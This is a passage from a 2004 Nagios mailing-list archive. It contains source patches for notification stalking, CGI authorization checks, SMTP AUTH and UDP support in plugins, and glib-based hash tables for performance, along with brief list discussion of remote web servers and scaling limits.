@@ -58,7 +58,7 @@ /* notify contacts about a service problem or recovery */ -int service_notification(service *svc, char *ack_data){ +int service_notification(service *svc, char *ack_data, int output_changed) { host *temp_host; notification *temp_notification; time_t current_time; @@ -87,7 +87,7 @@ } /* check the viability of sending out a service notification */ - if(check_service_notification_viability(svc,ack_data)==ERROR){ + if(check_service_notification_viability(svc,ack_data,output_changed)==ERROR){ #ifdef DEBUG4 printf("\tSending out a notification for this service is not viable at this time.\n"); #endif @@ -200,7 +200,7 @@ /* checks the viability of sending out a service alert (top level filters) */ -int check_service_notification_viability(service *svc, char *ack_data){ +int check_service_notification_viability(service *svc, char *ack_data, int output_changed){ host *temp_host; time_t current_time; time_t timeperiod_start; @@ -371,7 +371,12 @@ } /* don't notify if we haven't waited long enough since the last time (and the service is not marked as being volatile) */ - if((current_time < svc->next_notification) && svc->is_volatile==FALSE){ + if((current_time < svc->next_notification) && svc->is_volatile==FALSE && + (!output_changed || + (svc->current_state==STATE_OK && !svc->stalk_on_ok) || + (svc->current_state==STATE_WARNING && !svc->stalk_on_warning) || + (svc->current_state==STATE_UNKNOWN && !svc->stalk_on_unknown) || + (svc->current_state==STATE_CRITICAL && !svc->stalk_on_critical) )){ #ifdef DEBUG4 printf("\tWe haven't waited long enough to re-notify contacts about this service!\n"); printf("\tNext valid notification time: %s",ctime(&svc->next_notification)); ? cgi/Makefile ? cgi/authall.patch ? cgi/avail.cgi ? cgi/cgiutils.h ? cgi/cmd.cgi ? cgi/config.cgi ? cgi/extinfo.cgi ? cgi/histogram.cgi ? cgi/history.cgi ? cgi/notifications.cgi ? cgi/outages.cgi ? cgi/showlog.cgi ? cgi/status.cgi ? cgi/statusmap.cgi ? cgi/statuswml.cgi ? cgi/statuswrl.cgi ? cgi/summary.cgi ? cgi/tac.cgi ? cgi/trends.cgi Index: cgi/auth.c =================================================================== RCS file: /home/cvs/repos/nagios_source/cgi/auth.c,v retrieving revision 1.1.1.1 diff -u -r1.1.1.1 auth.c --- cgi/auth.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 +++ cgi/auth.c 25 Feb 2004 00:35:29 -0000 @@ -198,9 +198,6 @@ int is_authorized_for_host(host *hst, authdata *authinfo){ contact *temp_contact; - if(hst==NULL) - return FALSE; - /* if we're not using authentication, fake it */ if(use_authentication==FALSE) return TRUE; @@ -213,6 +210,9 @@ if(is_authorized_for_all_hosts(authinfo)==TRUE) return TRUE; + if(hst==NULL) + return FALSE; + /* find the contact */ temp_contact=find_contact(authinfo->username,NULL); @@ -252,9 +252,6 @@ host *temp_host; contact *temp_contact; - if(svc==NULL) - return FALSE; - /* if we're not using authentication, fake it */ if(use_authentication==FALSE) return TRUE; @@ -266,6 +263,9 @@ /* if this user is authorized for all services, they are for this one... */ if(is_authorized_for_all_services(authinfo)==TRUE) return TRUE; + + if(svc==NULL) + return FALSE; /* find the host */ temp_host=find_host(svc->host_name,NULL); diff -ruN nagios-plugins-1.3.0.orig/plugins/check_smtp.c nagios-plugins-1.3.0/plugins/check_smtp.c --- nagios-plugins-1.3.0.orig/plugins/check_smtp.c 2003-02-15 23:48:46.000000000 +1100 +++ nagios-plugins-1.3.0/plugins/check_smtp.c 2003-08-12 15:00:07.000000000 +1000 @@ -69,12 +69,77 @@ char *server_address = NULL; char *server_expect = NULL; char *from_arg = " "; +char *authtype = NULL; +char *authuser = NULL; +char *authpass = NULL; int warning_time = 0; int check_warning_time = FALSE; int critical_time = 0; int check_critical_time = FALSE; int verbose = FALSE; +/* encode64 routine from http://www.experts-exchange.com/Programming/Programming_Languages/C/Q_20245582.html */ + +#define BUFOVER (-2) +#define CHAR64(c) (((c) < 0 || (c) > 127) ? -1 : index_64[(c)]) +static char basis_64[] = +"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????"; +static char index_64[128] = { + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, + 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, + -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, + -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, + 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1 +}; + +static int +encode64(const char *_in, unsigned inlen, char *_out, unsigned outmax, unsigned *outlen) +{ + + const unsigned char *in = (const unsigned char *) _in; + unsigned char *out = (unsigned char *) _out; + unsigned char oval; + char *blah; + unsigned olen; + + olen = (inlen + 2) / 3 * 4; + if (outlen) + *outlen = olen; + if (outmax < olen) + return BUFOVER; + + blah = (char *) out; + while (inlen >= 3) + { +/* user provided max buffer size; make sure we don't go over it */ + *out++ = basis_64[in[0] >> 2]; + *out++ = basis_64[((in[0] << 4) & 0x30) | (in[1] >> 4)]; + *out++ = basis_64[((in[1] << 2) & 0x3c) | (in[2] >> 6)]; + *out++ = basis_64[in[2] & 0x3f]; + in += 3; + inlen -= 3; + } + if (inlen > 0) + { +/* user provided max buffer size; make sure we don't go over it */ + *out++ = basis_64[in[0] >> 2]; + oval = (in[0] << 4) & 0x30; + if (inlen > 1) + oval |= in[1] >> 4; + *out++ = basis_64[oval]; + *out++ = (inlen < 2) ? '=' : basis_64[(in[1] << 2) & 0x3c]; + *out++ = '='; + } + + if (olen < outmax) + *out = '\0'; + + return OK; +} + int main (int argc, char **argv) { @@ -83,6 +148,7 @@ char buffer[MAX_INPUT_BUFFER] = ""; char *from_str = NULL; char *helocmd = NULL; + char *error_msg = NULL; if (process_arguments (argc, argv) != OK) usage ("Invalid command arguments supplied\n"); @@ -124,41 +190,134 @@ if (result == -1) { printf ("recv() failed\n"); result = STATE_WARNING; + } else + result = STATE_OK; + + /* make sure we find the response we are looking for */ + if (result == STATE_OK && !strstr (buffer, server_expect)) { + if (server_port == SMTP_PORT) + printf ("Invalid SMTP response received from host\n"); + else + printf ("Invalid SMTP response received from host on port %d\n", + server_port); + result = STATE_WARNING; } - - else { - - /* make sure we find the response we are looking for */ - if (!strstr (buffer, server_expect)) { - if (server_port == SMTP_PORT) - printf ("Invalid SMTP response received from host\n"); - else - printf ("Invalid SMTP response received from host on port %d\n", - server_port); - result = STATE_WARNING; + + if (result == STATE_OK && authtype != NULL) { + if (strcmp (authtype, "LOGIN") == 0) { + char abuf[MAX_INPUT_BUFFER]; + unsigned alen; + int ret; + do { + if (authuser == NULL) { + result = STATE_CRITICAL; + error_msg = "no authuser specified"; + break; + } + if (authpass == NULL) { + result = STATE_CRITICAL; + error_msg = "no authpass specified"; + break; + } + send(sd, "AUTH LOGIN\r\n", strlen("AUTH LOGIN\r\n"), 0); + if (verbose == TRUE) { + printf ("sent AUTH LOGIN\n"); + } + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { + result = STATE_CRITICAL; + error_msg = "recv() failed after AUTH LOGIN"; + break; + } + buffer[ret] = 0; + if (verbose == TRUE) { + printf ("received %s\n", buffer); + } + if (strncmp (buffer, "334", 3) != 0) { + result = STATE_CRITICAL; + error_msg = "invalid response received after AUTH LOGIN"; + break; + } + if (encode64 (authuser, strlen(authuser), abuf, MAX_INPUT_BUFFER, &alen) != OK) { + result = STATE_CRITICAL; + error_msg = "failed to base64-encode authuser"; + break; + } + strcat (abuf, "\r\n"); + send(sd, abuf, strlen(abuf), 0); + if (verbose == TRUE) { + printf ("sent %s\n", abuf); + } + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { + result = STATE_CRITICAL; + error_msg = "recv() failed after sending authuser"; + break; + } + buffer[ret] = 0; + if (verbose == TRUE) { + printf ("received %s\n", buffer); + } + if (strncmp (buffer, "334", 3) != 0) { + result = STATE_CRITICAL; + error_msg = "invalid response received after authuser"; + break; + } + if (encode64 (authpass, strlen(authpass), abuf, MAX_INPUT_BUFFER, &alen) != OK) { + result = STATE_CRITICAL; + error_msg = "failed to base64-encode authpass"; + break; + } + strcat (abuf, "\r\n"); + send(sd, abuf, strlen(abuf), 0); + if (verbose == TRUE) { + printf ("sent %s\n", abuf); + } + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { + result = STATE_CRITICAL; + error_msg = "recv() failed after sending authpass"; + break; + } + buffer[ret] = 0; + if (verbose == TRUE) { + printf ("received %s\n", buffer); + } + if (strncmp (buffer, "235", 3) != 0) { + result = STATE_CRITICAL; + error_msg = "invalid response received after authpass"; + break; + } + break; + } while (0); + } else { + result = STATE_CRITICAL; + error_msg = "only authtype LOGIN is supported"; } + } + + time (&end_time); - else { - - time (&end_time); - - result = STATE_OK; - - if (check_critical_time == TRUE - && (end_time - start_time) > critical_time) result = - STATE_CRITICAL; - else if (check_warning_time == TRUE - && (end_time - start_time) > warning_time) result = - STATE_WARNING; - - if (verbose == TRUE) - printf ("SMTP %s - %d sec. response time, %s\n", - state_text (result), (int) (end_time - start_time), buffer); - else - printf ("SMTP %s - %d second response time\n", state_text (result), - (int) (end_time - start_time)); + if (check_critical_time == TRUE + && (end_time - start_time) > critical_time) result = + STATE_CRITICAL; + else if (check_warning_time == TRUE + && (end_time - start_time) > warning_time) result = + STATE_WARNING; + + if (verbose == TRUE) + if (error_msg == NULL) { + printf ("SMTP %s - %d sec. response time, %s\n", + state_text (result), (int) (end_time - start_time), buffer); + } else { + printf ("SMTP %s - %s, %d sec. response time, %s\n", + state_text (result), error_msg, (int) (end_time - start_time), buffer); + } + else + if (error_msg == NULL) { + printf ("SMTP %s - %d second response time\n", + state_text (result), (int) (end_time - start_time)); + } else { + printf ("SMTP %s - %s, %d second response time\n", + state_text (result), error_msg, (int) (end_time - start_time)); } - } /* close the connection */ @@ -211,6 +370,9 @@ {"warning", required_argument, 0, 'w'}, {"port", required_argument, 0, 'p'}, {"from", required_argument, 0, 'f'}, + {"authtype", required_argument, 0, 'A'}, + {"authuser", required_argument, 0, 'U'}, + {"authpass", required_argument, 0, 'P'}, {"verbose", no_argument, 0, 'v'}, {"version", no_argument, 0, 'V'}, {"help", no_argument, 0, 'h'}, @@ -233,10 +395,10 @@ while (1) { #ifdef HAVE_GETOPT_H c = - getopt_long (argc, argv, "+hVvt:p:f:e:c:w:H:", long_options, + getopt_long (argc, argv, "+hVvt:p:f:e:c:w:H:A:U:P:", long_options, &option_index); #else - c = getopt (argc, argv, "+?hVvt:p:f:e:c:w:H:"); + c = getopt (argc, argv, "+?hVvt:p:f:e:c:w:H:A:U:P:"); #endif if (c == -1 || c == EOF) break; @@ -261,6 +423,15 @@ case 'f': /* from argument */ from_arg = optarg; break; + case 'A': + authtype = optarg; + break; + case 'U': + authuser = optarg; + break; + case 'P': + authpass = optarg; + break; case 'e': /* server expect string on 220 */ server_expect = optarg; break; @@ -355,6 +526,12 @@ " String to expect in first line of server response (default: %s)\n" " -f, --from=STRING\n" " from address to include in MAIL command (default NULL, Exchange2000 requires one)\n" + " -A, --authtype=STRING\n" + " SMTP AUTH type to check (default none, only LOGIN supported)\n" + " -U, --authuser=STRING\n" + " SMTP AUTH username\n" + " -P, --authpass=STRING\n" + " SMTP AUTH password\n" " -w, --warning=INTEGER\n" " Seconds necessary to result in a warning status\n" " -c, --critical=INTEGER\n" @@ -379,7 +556,7 @@ print_usage (void) { printf - ("Usage: %s -H host [-e expect] [-p port] [-f from addr] [-w warn] [-c crit] [-t timeout] [-v]\n" + ("Usage: %s -H host [-e expect] [-p port] [-f from addr] [-A authtype -U authuser -P authpass] [-w warn] [-c crit] [-t timeout] [-v]\n" " %s --help\n" " %s --version\n", progname, progname, progname); } --- /tmp/nagios-plugins-1.3.0/plugins/check_time.c 2003-02-15 23:48:46.000000000 +1100 +++ nagios-plugins-1.3.0/plugins/check_time.c 2003-06-06 10:43:32.000000000 +1000 @@ -61,7 +61,7 @@ int check_critical_diff = FALSE; int server_port = TIME_PORT; char *server_address = NULL; - +int use_udp = FALSE; int process_arguments (int, char **); void print_usage (void); @@ -85,7 +85,13 @@ time (&start_time); /* try to connect to the host at the given port number */ - if (my_tcp_connect (server_address, server_port, &sd) != STATE_OK) { + if (use_udp) { + result = my_udp_connect (server_address, server_port, &sd); + } else { + result = my_tcp_connect (server_address, server_port, &sd); + } + + if (result != STATE_OK) { if (check_critical_time == TRUE) result = STATE_CRITICAL; else if (check_warning_time == TRUE) @@ -94,7 +100,21 @@ result = STATE_UNKNOWN; terminate (result, "TIME UNKNOWN - could not connect to server %s, port %d\n", - server_address, server_port); + server_address, server_port); + } + + if (use_udp) { + if (send (sd, "", 0, 0) < 0) { + if (check_critical_time == TRUE) + result = STATE_CRITICAL; + else if (check_warning_time == TRUE) + result = STATE_WARNING; + else + result = STATE_UNKNOWN; + terminate (result, + "TIME UNKNOWN - could not send UDP request to server %s, port %d\n", + server_address, server_port); + } } /* watch for the connection string */ @@ -170,6 +190,7 @@ {"timeout", required_argument, 0, 't'}, {"version", no_argument, 0, 'V'}, {"help", no_argument, 0, 'h'}, + {"udp", no_argument, 0, 'u'}, {0, 0, 0, 0} }; #endif @@ -193,10 +214,10 @@ while (1) { #ifdef HAVE_GETOPT_H c = - getopt_long (argc, argv, "hVH:w:c:W:C:p:t:", long_options, + getopt_long (argc, argv, "hVH:w:c:W:C:p:t:u", long_options, &option_index); #else - c = getopt (argc, argv, "hVH:w:c:W:C:p:t:"); + c = getopt (argc, argv, "hVH:w:c:W:C:p:t:u"); #endif if (c == -1 || c == EOF) @@ -275,6 +296,9 @@ usage ("Timeout interval must be a nonnegative integer\n"); socket_timeout = atoi (optarg); break; + case 'u': + /* udp */ + use_udp = TRUE; } } @@ -338,6 +362,8 @@ " Seconds before connection times out (default: %d)\n" " -p, --port=INTEGER\n" " Port number (default: %d)\n" + " -u, --udp\n" + " Use UDP to connect, not TCP\n" " -h, --help\n" " Print detailed help screen\n" " -V, --version\n" --- nagios-plugins-1.3.0/plugins/check_udp.c 2003-02-19 09:24:35.000000000 +1100 +++ nagios-plugins-r1_3_0-200306050007/plugins/check_udp.c 2003-03-07 17:40:33.000000000 +1100 @@ -6,7 +6,7 @@ * License: GPL * Copyright (c) 1999 Ethan Galstad (nagios at nagios.org) * -* Last Modified: $Date: 2003/02/18 22:24:35 $ +* Last Modified: $Date: 2003/03/07 06:40:33 $ * * Command line: CHECK_UDP [-p port] [-s send] [-e expect] \ * [-wt warn_time] [-ct crit_time] [-to to_sec] @@ -173,7 +173,7 @@ print_help (); exit (STATE_OK); case 'V': /* version */ - print_revision (progname, "$Revision: 1.4 $"); + print_revision (progname, "$Revision: 1.4.2.1 $"); exit (STATE_OK); case 'v': /* verbose mode */ verbose = TRUE; @@ -220,9 +220,9 @@ usage ("Invalid host name/address\n"); server_address = argv[c++]; } - else { + + if (server_address == NULL) usage ("Host name was not supplied\n"); - } return c; } @@ -246,7 +246,7 @@ void print_help (void) { - print_revision (progname, "$Revision: 1.4 $"); + print_revision (progname, "$Revision: 1.4.2.1 $"); printf ("Copyright (c) 1999 Ethan Galstad (nagios at nagios.org)\n\n" "This plugin tests an UDP connection with the specified host.\n\n"); ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click From jim.mozley at exponential-e.com Fri Mar 12 13:07:33 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 12 Mar 2004 12:07:33 +0000 Subject: Webish question In-Reply-To: <1079015860.7481.98.camel@bobspc.lanl.gov> References: <1079015860.7481.98.camel@bobspc.lanl.gov> Message-ID: <4051A805.6050005@exponential-e.com> Robert Stewart wrote: > Good Morning; > > I am fairly new to Nagios and apologize if this issue has been addressed > "ad nauseum" in the past. > > I need to run the nagios client on one system and have the web server > running on another. Is there a way to get the nagios information to this > "remote" web server? If the reason behind splitting them up is a firewall issue, could you use a proxy on the second system? You might be able to have a second nagios server in a distributed configuration but so that it is passed all events. In this was it would replicate the problems reported by the first server. Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fredrik.wanglund at mobeon.com Fri Mar 12 14:34:35 2004 From: fredrik.wanglund at mobeon.com (=?ISO-8859-1?Q?Fredrik_W=E4nglund?=) Date: Fri, 12 Mar 2004 14:34:35 +0100 Subject: [Nagios-devel] Large scale network monitoring limits with nagios In-Reply-To: References: Message-ID: <4051BC6B.1010605@mobeon.com> I think there was an discussion on this sorting-topc some month ago. I thought that resulted in some pathes that changed the code to hash-based sorting... Anyone know where those patches are? /FredrikW michael at optusnet.com.au wrote: > Noah Leaman writes: > >>Hopes it's o.k. cross posting to both groups on this matter... >> >>Using the concept of one service per up/down trap for each network >>interface, I tested a little by creating a very simple set of nagios >>configs, but with about 8000 PASSIVE service checks and no active >>service checks. of course there was no problem in terms of scheduling >>issues, but the CGIs all crawled to a snails pace. In my setup (nagios >>1.2, Dual G4 first-gen xServe) it takes about 30 secs to display the >>Status Summary page. > > > Yes, this is what I'd expect. The problem is that nagios out of the > box has some terrible code in it. In particular, there's a lot of > places (including the display cgi's) that use O(n^2) algorithms. > > Some of the time the problem is hidden; Upper level code will > do "foreach (list) { action }" where 'action' calls a function > also does a linear search of the same list. oops. > > Other times the problem is obvious: Code that adds elements > to the end of a singly linked list. By doing a linear > search from the beginning. For each item added. For 12,000 > items. oops. > > In our local version we create hash tables, and pre/post-sort lists to > work around the worst of the problems. > > If you dig through the list archives you'll see the patches that > were sent in to fix it for 1.1. > > That still leaves the other big problem with the passive service > checks. Believe it or not, sending a passive result makes nagios > fork()!! The parent process reads the check result, fork()s and then > resends the result again to the parent. Rather wild stuff. :) > Even better is that the child process has to wait around > for the parent to handle the send. > > This is normally masked because the main event loop simply > doesn't check the named pipe very frequently, so normally > your external scripts will blow up with massive queues > waiting for nagios to read the pipe. > > Nagios out of the box is simply not ready for reasonable > scale yet. > > Michael. > > Ps. Ok. I saved you some effort. I dug up the local patches: > (Note: I didn't write these) > > * Check the named pipe frequently. > * Don't fork() too often when handling passive check results. > * Use hash tables and sorted lists to get rid of most of the > O(n^2) places. > * Sleep only for a short time in the main loop. > * allow check for auth-smtp. > * fix a few bugs. > * introduces depedancy on glib. > > > > > > diff -ru nagios-1.1-virgin/base/Makefile.in nagios-1.1/base/Makefile.in > --- nagios-1.1-virgin/base/Makefile.in Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/base/Makefile.in Tue Oct 7 13:03:51 2003 > @@ -10,9 +10,9 @@ > SRC_XDATA=../xdata > > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE > +CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE `pkg-config glib --cflags` > #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs -DHAVE_CONFIG_H -DNSCORE > -LDFLAGS=@LDFLAGS@ @LIBS@ > +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` > > prefix=@prefix@ > exec_prefix=@exec_prefix@ > diff -ru nagios-1.1-virgin/cgi/Makefile.in nagios-1.1/cgi/Makefile.in > --- nagios-1.1-virgin/cgi/Makefile.in Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/cgi/Makefile.in Tue Oct 7 13:03:51 2003 > @@ -25,9 +25,9 @@ > > CP=@CP@ > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI > +CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI `pkg-config glib --cflags` > #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs -DHAVE_CONFIG_H -DNSCGI > -LDFLAGS=@LDFLAGS@ @LIBS@ > +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` > > CGIS=avail.cgi cmd.cgi config.cgi extinfo.cgi history.cgi notifications.cgi outages.cgi showlog.cgi status.cgi statuswml.cgi summary.cgi tac.cgi $(CGIEXTRAS) > > diff -ru nagios-1.1-virgin/common/common.h nagios-1.1/common/common.h > --- nagios-1.1-virgin/common/common.h Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/common/common.h Tue Oct 7 13:03:51 2003 > @@ -208,8 +208,12 @@ > #define OK 0 > #define ERROR -2 /* value was changed from -1 so as to not interfere with STATUS_UNKNOWN plugin result */ > > +#ifndef TRUE > #define TRUE 1 > +#endif > +#ifndef FALSE > #define FALSE 0 > +#endif > > > /****************** HOST CONFIG FILE READING OPTIONS ********************/ > diff -ru nagios-1.1-virgin/common/config.h.in nagios-1.1/common/config.h.in > --- nagios-1.1-virgin/common/config.h.in Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/common/config.h.in Tue Oct 7 13:03:51 2003 > @@ -214,3 +214,7 @@ > #include > #endif > > +#define HAVE_GLIB_H 1 > +#ifdef HAVE_GLIB_H > +#include > +#endif > diff -ru nagios-1.1-virgin/common/objects.c nagios-1.1/common/objects.c > --- nagios-1.1-virgin/common/objects.c Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/common/objects.c Tue Oct 7 13:03:51 2003 > @@ -59,7 +59,10 @@ > servicedependency *servicedependency_list=NULL; > hostdependency *hostdependency_list=NULL; > hostescalation *hostescalation_list=NULL; > +GTree *service_tree = NULL; > +GHashTable *host_hash = NULL; > > +int service_list_add(char *key, service *v, void *data); > > > /******************************************************************/ > @@ -99,6 +102,8 @@ > printf("read_object_config_data() end\n"); > #endif > > + g_tree_traverse(service_tree, (GTraverseFunc)service_list_add, G_IN_ORDER, NULL); > + > return result; > } > > @@ -107,6 +112,13 @@ > /**************** OBJECT ADDITION FUNCTIONS ***********************/ > /******************************************************************/ > > +int service_list_add(char *key, service *v, void *data) > +{ > + v->next = service_list; > + service_list = v; > + return 0; > +} > + > > > /* add a new timeperiod to the list in memory */ > @@ -747,6 +759,16 @@ > printf("\tNotification Interval: %d\n",new_host->notification_interval); > printf("\tNotification Time Period: %s\n",new_host->notification_period); > #endif > + > +#ifdef HAVE_GLIB_H > + /* Cache host in hash table */ > + if (!host_hash) > + host_hash = g_hash_table_new(g_str_hash, g_str_equal); > + > + if (host_hash) > + g_hash_table_insert(host_hash, new_host->name, new_host); > +#endif > + > #ifdef DEBUG0 > printf("add_host() end\n"); > #endif > @@ -2173,40 +2195,7 @@ > strcpy(new_service->perf_data,""); > > #endif > - /* add new service to service list, sorted by host name then service description */ > - last_service=service_list; > - for(temp_service=service_list;temp_service!=NULL;temp_service=temp_service->next){ > - > - if(strcmp(new_service->host_name,temp_service->host_name)<0){ > - new_service->next=temp_service; > - if(temp_service==service_list) > - service_list=new_service; > - else > - last_service->next=new_service; > - break; > - } > - > - else if(strcmp(new_service->host_name,temp_service->host_name)==0 && strcmp(new_service->description,temp_service->description)<0){ > - new_service->next=temp_service; > - if(temp_service==service_list) > - service_list=new_service; > - else > - last_service->next=new_service; > - break; > - } > > - else > - last_service=temp_service; > - } > - if(service_list==NULL){ > - new_service->next=NULL; > - service_list=new_service; > - } > - else if(temp_service==NULL){ > - new_service->next=NULL; > - last_service->next=new_service; > - } > - > #ifdef DEBUG1 > printf("\tHost: %s\n",new_service->host_name); > printf("\tDescription: %s\n",new_service->description); > @@ -2222,6 +2211,19 @@ > printf("\tEvent Handler: %s\n",(new_service->event_handler==NULL)?"N/A":new_service->event_handler); > #endif > > +#ifdef HAVE_GLIB_H > + /* Cache service in tree */ > + if (!service_tree) > + service_tree = g_tree_new((GCompareFunc)strcmp); > + > + if (service_tree) > + { > + char *key = calloc(strlen(new_service->host_name) + strlen(new_service->description) + 2, 1); > + sprintf(key, "%s-%s", new_service->host_name, new_service->description); > + g_tree_insert(service_tree, key, new_service); > + } > +#endif > + > #ifdef DEBUG0 > printf("add_service() end\n"); > #endif > @@ -3226,6 +3228,13 @@ > if(name==NULL) > return NULL; > > +#ifdef HAVE_GLIB_H > + /* Lookup host in the hash */ > + if (host_hash) > + return (host *)g_hash_table_lookup(host_hash, name); > +#endif > + > + > if(hst==NULL) > temp_host=host_list; > else > @@ -3500,6 +3509,18 @@ > if(host_name==NULL || svc_desc==NULL) > return NULL; > > +#ifdef HAVE_GLIB_H > + /* Lookup service in the tree */ > + if (service_tree) > + { > + char *key = calloc(strlen(host_name) + strlen(svc_desc) + 2, 1); > + sprintf(key, "%s-%s", host_name, svc_desc); > + temp_service = (service *)g_tree_lookup(service_tree, key); > + free(key); > + return temp_service; > + } > +#endif > + > if(svcptr==NULL) > temp_service=service_list; > else > diff -ru nagios-1.1-virgin/common/statusdata.c nagios-1.1/common/statusdata.c > --- nagios-1.1-virgin/common/statusdata.c Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/common/statusdata.c Tue Oct 7 13:04:12 2003 > @@ -51,6 +51,7 @@ > #ifdef NSCGI > hoststatus *hoststatus_list=NULL; > servicestatus *servicestatus_list=NULL; > +GTree *servicestatus_tree=NULL; > > time_t program_start; > int daemon_mode; > @@ -320,6 +321,7 @@ > /******************************************************************/ > > > +int servicestatus_list_add(servicestatus *key, void *v, void *data); > /* reads in all status data */ > int read_status_data(char *config_file,int options){ > int result=OK; > @@ -332,6 +334,7 @@ > result=xsddb_read_status_data(config_file,options); > #endif > > + g_tree_traverse(servicestatus_tree, (GTraverseFunc)servicestatus_list_add, G_IN_ORDER, NULL); > return result; > } > > @@ -341,6 +344,12 @@ > /********************** ADDITION FUNCTIONS ************************/ > /******************************************************************/ > > +int servicestatus_list_add(servicestatus *key, void *v, void *data) > +{ > + key->next = servicestatus_list; > + servicestatus_list = key; > + return 0; > +} > > /* sets program status variables */ > int add_program_status(time_t _program_start, int _nagios_pid, int _daemon_mode, time_t _last_command_check, time_t _last_log_rotation, int _enable_notifications,int _execute_service_checks,int _accept_passive_service_checks,int _enable_event_handlers,int _obsess_over_services, int _enable_flap_detection, int _enable_failure_prediction, int _process_performance_data){ > @@ -534,6 +543,16 @@ > return OK; > } > > +int servicestatus_cmp(servicestatus *a, servicestatus *b) > +{ > + int c; > + > + c = strcmp(b->host_name, a->host_name); > + if (c) > + return c; > + > + return strcmp(b->description, a->description); > +} > > /* adds a service status entry to the list in memory */ > int add_service_status(char *host_name,char *svc_description,char *status_string,time_t last_update,int current_attempt,int max_attempts,int state_type,time_t last_check,time_t next_check,int check_type,int checks_enabled,int accept_passive_checks,int event_handler_enabled,time_t last_state_change,int problem_has_been_acknowledged,char *last_hard_state_string,unsigned long time_ok,unsigned long time_warning,unsigned long time_unknown,unsigned long time_critical,time_t last_notification,int current_notification_number,int notifications_enabled, int latency, int execution_time, int flap_detection_enabled, int is_flapping, double percent_state_change, int scheduled_downtime_depth, int failure_prediction_enabled, int process_performance_data, int obsess_over_service, char *plugin_output){ > @@ -543,6 +562,8 @@ > int status; > int last_hard_state; > > + if (!servicestatus_tree) > + servicestatus_tree = g_tree_new( (GCompareFunc) servicestatus_cmp); > > /* make sure we have what we need */ > if(host_name==NULL) > @@ -724,41 +745,7 @@ > /* scheduled downtime depth */ > new_svcstatus->scheduled_downtime_depth=scheduled_downtime_depth; > > - > - /* add new service status to list, sorted by host name then description */ > - last_svcstatus=servicestatus_list; > - for(temp_svcstatus=servicestatus_list;temp_svcstatus!=NULL;temp_svcstatus=temp_svcstatus->next){ > - > - if(strcmp(new_svcstatus->host_name,temp_svcstatus->host_name)<0){ > - new_svcstatus->next=temp_svcstatus; > - if(temp_svcstatus==servicestatus_list) > - servicestatus_list=new_svcstatus; > - else > - last_svcstatus->next=new_svcstatus; > - break; > - } > - > - else if(strcmp(new_svcstatus->host_name,temp_svcstatus->host_name)==0 && strcmp(new_svcstatus->description,temp_svcstatus->description)<0){ > - new_svcstatus->next=temp_svcstatus; > - if(temp_svcstatus==servicestatus_list) > - servicestatus_list=new_svcstatus; > - else > - last_svcstatus->next=new_svcstatus; > - break; > - } > - > - else > - last_svcstatus=temp_svcstatus; > - } > - if(servicestatus_list==NULL){ > - new_svcstatus->next=NULL; > - servicestatus_list=new_svcstatus; > - } > - else if(temp_svcstatus==NULL){ > - new_svcstatus->next=NULL; > - last_svcstatus->next=new_svcstatus; > - } > - > + g_tree_insert(servicestatus_tree, new_svcstatus, new_svcstatus); > > return OK; > } > diff -ru nagios-1.1-virgin/contrib/Makefile.in nagios-1.1/contrib/Makefile.in > --- nagios-1.1-virgin/contrib/Makefile.in Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/contrib/Makefile.in Tue Oct 7 13:03:51 2003 > @@ -5,8 +5,8 @@ > ############################### > > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ > -LDFLAGS=@LDFLAGS@ @LIBS@ > +CFLAGS=@CFLAGS@ @DEFS@ `pkg-config glib --cflags` > +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` > > # Source code directories > SRC_COMMON=../common > diff -ru 